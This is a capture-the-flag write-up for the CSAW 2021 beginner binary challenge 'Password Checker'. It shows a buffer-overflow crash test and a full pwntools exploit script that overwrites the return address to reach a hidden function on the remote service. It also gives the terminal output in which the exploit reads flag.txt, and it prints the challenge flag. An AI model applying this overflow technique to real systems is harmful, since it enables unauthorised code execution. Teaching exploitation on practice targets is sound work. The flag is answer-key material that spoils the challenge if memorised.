

Password Checker

CSAW 2021 CTF

GoProSlowYo

Password Checker

234

Charlie forgot his password to login into his Office portal.
Help him to find it. (This challenge was written for the
person on your team who has never solved a binary
exploitation challenge before! Welcome to pwning.)

nc pwn.chal.csaw.io 5000

 password_ch...

2021-09-10

Contents

Password Checker	3
Initial Research	3
Exploit	3
Victory	4

Password Checker

Writeup by: GoProSlowYo

Team: OnlyFeet

Writeup URL: GitHub

```
1 Charlie forgot his password to login into his Office portal. Help him  
   to find it. (This challenge was written for the person on your team  
   who has never solved a binary exploitation challenge before! Welcome  
   to pwning.)  
2  
3 nc pwn.chal.csaw.io 5000
```

Initial Research

We figured this was a basic buffer overflow.

```
1 $ echo $(python -c 'print("A"*100)') | ./password_checker  
2 Enter the password to get in:  
3 >This is not the password[1]      45964 done      echo $(python  
   -c 'print("A"*100)') |  
4      45966 segmentation fault ./password_checker
```



Figure 1: A Buffer Overflow by Sending One-Hundred A's to the password_checker Binary

Exploit

```
$ pwn template > exploit.py
```

```
1 from pwn import *  
2  
3 # Set up pwntools for the correct architecture  
4 context.update(arch='amd64')  
5 context.terminal = ['tmux', 'splitw', '-h']  
6 exe = './password_checker'  
7
```

```
8 # Many built-in settings can be controlled on the command-line and show
   up
9 # in "args". For example, to dump all data sent/received, and disable
   ASLR
10 # for all created processes...
11 # ./exploit.py DEBUG NOASLR
12 def start(argv=[], *a, **kw):
13     '''Start the exploit against the target.'''
14     if args.GDB:
15         return gdb.debug([exe] + argv, gdbscript=gdbscript, *a, **kw)
16     elif args.REMOTE:
17         return remote('pwn.chal.csaw.io', 5000)
18     else:
19         return process([exe] + argv, *a, **kw)
20
21 # Specify your GDB script here for debugging
22 # GDB will be launched if the exploit is run via e.g.
23 # ./exploit.py GDB
24 gdbscript = '''
25 continue
26 '''
27
28 #=====
29 #                               EXPLOIT GOES HERE
30 #=====
31
32 io = start()
33
34 buf = b''
35 buf += b'A' * (8 * 9)
36 buf += p64(0x401172)
37
38 io.sendlineafter('>', buf)
39
40 io.interactive()
```

Victory

Run the exploit:

```
1 $ python3 exploit.py REMOTE
2 [+] Opening connection to pwn.chal.csaw.io on port 5000: Done
3 [*] Switching to interactive mode
4 This is not the password$ cat flag.txt
5 flag{ch4r1i3_4ppr3ci4t35_y0u_f0r_y0ur_h31p}
6 $
```

A terminal window showing a successful exploit. The user runs 'python3 exploit.py REMOTE'. The output shows a connection to 'pwn.chal.csaw.io' on port 5000, switching to interactive mode, and a message 'This is not the password: cat flag.txt'. The user then enters the flag 'flag{ch4r1i3_4ppr3ci4t35_y0u_f0r_y0ur_h31p}'. The terminal window has a dark background with a blue and white abstract pattern. The top bar shows the file path '~/ctf/csaw21/password-checker', a search icon, and a status bar with 'gh-pages +2 12 74', a green checkmark, '5s', '10.10.16.2', and '18:47:37'.

```
~/ctf/csaw21/password-checker gh-pages +2 12 74 5s 10.10.16.2 18:47:37
python3 exploit.py REMOTE
[*] Opening connection to pwn.chal.csaw.io on port 5000: Done
[*] Switching to interactive mode
This is not the password: cat flag.txt
flag{ch4r1i3_4ppr3ci4t35_y0u_f0r_y0ur_h31p}
~/ctf/csaw21/password-checker gh-pages +2 12 74 10s 10.10.16.2 18:47:56
```

Figure 2: Exploiting the Remote Service and Getting the Flag

Submit the flag and claim the points:

flag{ch4r1i3_4ppr3ci4t35_y0u_f0r_y0ur_h31p}